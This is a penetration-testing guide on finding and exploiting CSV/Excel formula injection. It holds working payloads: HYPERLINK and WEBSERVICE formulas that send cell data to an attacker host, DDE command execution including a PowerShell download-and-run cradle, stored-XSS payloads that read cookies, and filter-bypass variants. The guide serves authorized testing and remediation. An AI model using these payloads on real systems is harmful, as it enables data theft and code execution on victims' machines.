name: exploiting-csv-formula-injection description: Identifying and exploiting CSV/Excel formula (DDE) injection in import and export features where attacker-controlled data is written into spreadsheets and executed when opened in Excel or LibreOffice. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- csv-injection
- formula-injection
- dde
- excel
- spreadsheet
- web-security version: '1.0' author: xalgorix license: Apache-2.0 nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
Exploiting CSV Formula Injection
When to Use
- During authorized penetration tests of any application that exports user-controlled data to CSV, XLS, or XLSX
- When the target has "Export to CSV/Excel", report generators, audit logs, or admin dashboards that dump user-submitted fields
- When user input (name, address, comment, support ticket, profile field) is later downloaded and opened by another user or an administrator in a spreadsheet client
- For validating that exported fields are neutralized (prefixed/escaped) before reaching a spreadsheet engine
- During bug bounty programs targeting injection and client-side code execution via documents
Prerequisites
- Authorization: Written penetration testing agreement covering client-side execution payloads
- Microsoft Excel and LibreOffice Calc: To validate behavior across both engines (DDE differs)
- A controlled victim VM: To safely detonate command-execution payloads (never on production endpoints)
- Collaborator/OOB host: Burp Collaborator, interactsh, or a logging webhook to confirm
HYPERLINK/WEBSERVICEcallbacks - Two test accounts: One to inject (attacker), one to export/open (victim/admin) where the workflow allows
- Burp Suite or curl: For submitting payloads into import/profile fields
Critical: Checks Most Often Missed
CSV injection is missed because the injection point and the execution point are in different places — input is stored by the web app but only "fires" later in a desktop spreadsheet. Work through this checklist for every exportable field:
- Trace input to every export, not just the obvious one. A name field may be safe in the profile page but exported raw in an admin CSV, a billing report, an audit log, or an analytics dump. Find the field that an admin opens.
- Test all four trigger prefixes. A field is vulnerable if a cell begins with
=,+,-, or@. Filters that strip only=still allow+1+1,-1+1, and@SUM(1+1). - Leading whitespace / control-char bypass. Excel trims a leading space, tab
(
\t), carriage return (\r), or line feed before parsing, so=1+1or\t=cmd|...defeats a naive "starts with=" check while still executing. - Comma/quote breakout to control the cell. If your value lands mid-row,
inject
"or,to break out and start a fresh cell, e.g.foo","=2+5","barso the formula occupies its own cell. - The exfil payloads are the real impact.
=HYPERLINKand=WEBSERVICEleak other cells (other users' PII in the same sheet) to your server with one click and no macro warning in many configs — confirm with an OOB callback. - DDE command execution path.
=cmd|'/c calc'!A1(and=DDE(...)) launches external programs; modern Excel shows a prompt, but users click through, and legacy/registry-tweaked or LibreOffice setups may auto-run. - The stored-XSS-via-CSV variant. If the "CSV" is rendered in a browser
(preview pane, in-app table from the uploaded file, or served with the wrong
Content-Type),"><script>alert(document.domain)</script>becomes stored XSS, not formula injection — test both outcomes. - Round-trip import→export. Upload a CSV containing payloads, then export it back out. Apps often sanitize on display but not on re-export.
Workflow
Step 1: Map Input Sinks and Export Surfaces
Identify every field a user controls that can end up in a downloadable spreadsheet.
# Browse the app through Burp with the attacker account and catalog:
# - Profile / account fields: name, company, address, bio, phone
# - Free-text: support tickets, comments, reviews, notes
# - Identifiers shown in lists: usernames, coupon codes, file names
# - Bulk import features: "Import contacts/products from CSV"
# Then find the EXPORT side (often admin-only):
# GET /admin/users/export?format=csv
# GET /reports/transactions.xlsx
# GET /api/v1/orders/export
# GET /audit/log/download
# Confirm the export Content-Type and whether values are quoted:
curl -s -H "Authorization: $TOKEN_ADMIN" \
"https://target.example.com/admin/users/export?format=csv" -o export.csv
head -n 5 export.csv
# Note whether each field is wrapped in "..." and whether your stored value
# appears verbatim (unescaped) at the start of a cell.
Step 2: Submit Detection Payloads (Benign Math First)
Use harmless arithmetic that proves the cell is being evaluated, not just stored as text.
# Inject one benign payload per field; the result in the opened sheet tells you:
# - shows "2" => formula executed (VULNERABLE)
# - shows "=1+1"=> stored as literal text (safe / neutralized)
# Standard trigger characters (test ALL of them):
=1+1
+1+1
-1+1
@SUM(1+1)
=1+1)+cmd|'/c calc'!A1 # combined arithmetic + DDE probe
# Whitespace / control-character bypass for "starts-with-=" filters:
=1+1 # leading space
=1+1 # leading tab
=1+1%0d # leading CR variants when submitted URL-encoded
# Cell-breakout when your value lands inside an existing quoted field:
foo","=2*3","bar
# Example: store payload in the "company" profile field via API
curl -s -X PUT -H "Authorization: $TOKEN_ATTACKER" \
-H "Content-Type: application/json" \
-d '{"company":"=1+1"}' \
"https://target.example.com/api/v1/profile"
Step 3: Confirm Execution by Opening the Export
The vulnerability fires when the exported file is opened in a spreadsheet client.
# 1) Trigger / download the export that contains your stored payload:
curl -s -H "Authorization: $TOKEN_ADMIN" \
"https://target.example.com/admin/users/export?format=csv" -o poc.csv
# 2) Inspect raw bytes (confirm payload is unescaped at cell start):
grep -n "=1+1" poc.csv
# 3) Open in a spreadsheet to validate execution:
libreoffice --calc poc.csv # LibreOffice Calc
# or open poc.csv in Microsoft Excel on the victim VM
# Excel behavior: prompts "enable content?" for DDE; arithmetic evaluates
# silently. LibreOffice evaluates =formulas by default (Tools > Options >
# Calc > Formula governs this). Record exactly which engine executes and
# whether a prompt appears.
Step 4: Weaponize — Data Exfiltration via HYPERLINK / WEBSERVICE
These payloads quietly leak other cells (other victims' data) to your server on click/open.
# HYPERLINK: builds a clickable link whose URL embeds a neighbouring cell.
# When the victim clicks the link, your server logs the referenced data.
=HYPERLINK("http://attacker.oob.example/?d="&A1,"View report")
=HYPERLINK("http://attacker.oob.example/?leak="&CONCATENATE(A1,"-",B1),"Click")
# WEBSERVICE (Excel): fires an HTTP GET on OPEN — no click needed in many setups,
# exfiltrating an adjacent cell as a query parameter:
=WEBSERVICE("http://attacker.oob.example/?d="&A2)
=WEBSERVICE(CONCATENATE("http://attacker.oob.example/?u=",A2))
# IMPORTLISTING / IMPORTXML (LibreOffice / Google Sheets analogue):
=IMPORTXML(CONCAT("http://attacker.oob.example/?v=",A1),"//a")
# Confirm the callback on your OOB listener:
# GET /?d=victim.user@corp.example <-- exfiltrated cell content
# Use Burp Collaborator or:
python3 -m http.server 8000 # watch the access log for inbound hits
Step 5: Weaponize — Command Execution via DDE
DDE (Dynamic Data Exchange) can launch local programs; useful to demonstrate full client compromise.
# Classic calc.exe proof (replace with a benign marker, NEVER live malware):
=cmd|'/c calc'!A1
=cmd|'/c calc.exe'!A0
@SUM(1+9)*cmd|'/c calc'!A0
# Batched / chained commands to prove arbitrary execution:
=cmd|'/c calc.exe&ping -n 1 attacker.oob.example'!A1
# PowerShell download-cradle pattern (use only on the controlled victim VM):
=cmd|'/c powershell IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.oob.example/p.txt\")'!A1
# Excel shows a chain of warnings ("remote data not accessible", "start app?").
# Document whether the victim profile clicks through. Pair with a phishing
# pretext in the report to reflect realistic user behavior.
Step 6: Test the Stored-XSS-via-CSV-Import Variant
If uploaded CSV content is rendered in the browser instead of (or before) being downloaded, you get stored XSS.
# Upload a CSV whose fields contain HTML/JS rather than formulas:
cat > evil.csv <<'EOF'
name,email
"><script>alert(document.domain)</script>,a@a.test
"><img src=x onerror=alert(document.cookie)>,b@b.test
=HYPERLINK("javascript:alert(1)","x"),c@c.test
EOF
curl -s -X POST -H "Authorization: $TOKEN_ATTACKER" \
-F "file=@evil.csv;type=text/csv" \
"https://target.example.com/api/v1/contacts/import"
# Then load the page that previews / lists imported rows:
# - If the script executes => stored XSS via CSV import
# - If the response Content-Type is text/html for the "CSV" download =>
# opening it in a browser executes the markup
curl -s -D - -H "Authorization: $TOKEN_ATTACKER" \
"https://target.example.com/contacts/preview" -o /dev/null | grep -i content-type
Key Concepts
| Concept | Description |
|---|---|
| Formula trigger characters | A spreadsheet treats a cell as a formula when it starts with =, +, -, or @ |
| DDE (Dynamic Data Exchange) | Legacy IPC mechanism abused via =cmd|'...'!A1 to launch external programs |
| HYPERLINK exfiltration | =HYPERLINK(url&cell,...) leaks adjacent cell data to an attacker URL on click |
| WEBSERVICE / IMPORTXML | Functions that issue outbound HTTP on open, enabling click-less exfiltration |
| Cell breakout | Using , or " to escape an existing quoted field and start a fresh formula cell |
| Whitespace bypass | Leading space/tab/CR is trimmed by Excel before parsing, defeating naive = filters |
| Stored XSS via CSV | When CSV content is rendered as HTML in a browser instead of a spreadsheet client |
| Neutralization | Prefixing risky cells with a single quote ' (or tab) to force literal text |
Tools & Systems
| Tool | Purpose |
|---|---|
| Microsoft Excel | Primary target engine; validates DDE prompts and WEBSERVICE on-open behavior |
| LibreOffice Calc | Cross-engine validation; evaluates formulas and IMPORTXML/WEBSERVICE differently |
| Burp Suite | Intercept and tamper import/profile requests; resend export requests |
| Burp Collaborator / interactsh | Out-of-band listener to confirm HYPERLINK/WEBSERVICE exfil callbacks |
| python3 -m http.server | Simple OOB receiver to capture exfiltrated cell data in access logs |
| csvlint / xsv | Inspect raw exported CSV structure and confirm unescaped payloads |
Common Scenarios
Scenario 1: Profile Field to Admin Export
A user sets their company name to =WEBSERVICE("http://attacker.oob/?d="&A1). An administrator later exports the user list to CSV and opens it in Excel; the cell silently exfiltrates the adjacent username/email to the attacker.
Scenario 2: Support Ticket DDE
A free-text support ticket body stores =cmd|'/c calc'!A1. The support agent exports tickets to Excel for triage; opening the file prompts to run an external app, leading to command execution on the agent's workstation.
Scenario 3: CSV Import Round-Trip XSS
A contact-import feature stores "><script>alert(document.domain)</script> from an uploaded CSV. The in-app contacts table renders the field as HTML, producing stored XSS that fires for every user who views the contact list.
Scenario 4: Coupon/Username Enumeration Export
Usernames or coupon codes beginning with - or + (e.g. +44... phone numbers) are exported unescaped, both confirming the lack of neutralization and demonstrating that crafted values execute in finance/marketing exports.
Output Format
## CSV Formula Injection Finding
**Vulnerability**: CSV/Excel Formula (DDE) Injection
**Severity**: High (CVSS 8.0)
**Injection Point**: PUT /api/v1/profile field "company"
**Execution Point**: GET /admin/users/export?format=csv (opened in Excel/LibreOffice)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. As attacker account, set profile field "company" to: =WEBSERVICE("http://oob.example/?d="&A1)
2. As administrator, download GET /admin/users/export?format=csv
3. Open export.csv in Microsoft Excel
4. Observe an outbound HTTP request to oob.example carrying the adjacent cell value
5. Replace payload with =cmd|'/c calc'!A1 to demonstrate command execution on open
### Affected Fields / Exports
| Field | Stored Via | Exported By | Outcome |
|-------|-----------|-------------|---------|
| company | PUT /api/v1/profile | /admin/users/export | DDE exec + exfil |
| ticket_body | POST /api/v1/tickets | /admin/tickets.xlsx | DDE exec |
| display_name | PUT /api/v1/profile | contacts preview (HTML) | Stored XSS |
### Evidence
- OOB callback received: GET /?d=victim.user@corp.example
- Raw cell in export.csv: =WEBSERVICE("http://oob.example/?d="&A1)
- Filter bypassed leading-space variant: " =1+1" evaluated to 2
### Impact
- Client-side command execution on any staff member opening exports
- Exfiltration of other users' PII present in the same spreadsheet
- Stored XSS in the in-app contacts table when CSV is rendered as HTML
### Recommendation
1. Neutralize every exported cell that begins with =, +, -, @ (and leading
space/tab/CR) by prefixing a single quote ' or a tab character.
2. Wrap values in quotes and escape embedded quotes/commas per RFC 4180.
3. Reject or strip formula-leading characters at input validation for fields
known to be exported.
4. Serve CSV downloads with Content-Type: text/csv and
Content-Disposition: attachment to prevent in-browser HTML rendering.
5. Disable DDE and the WEBSERVICE/dynamic-data functions via Office group policy
on workstations that process untrusted exports.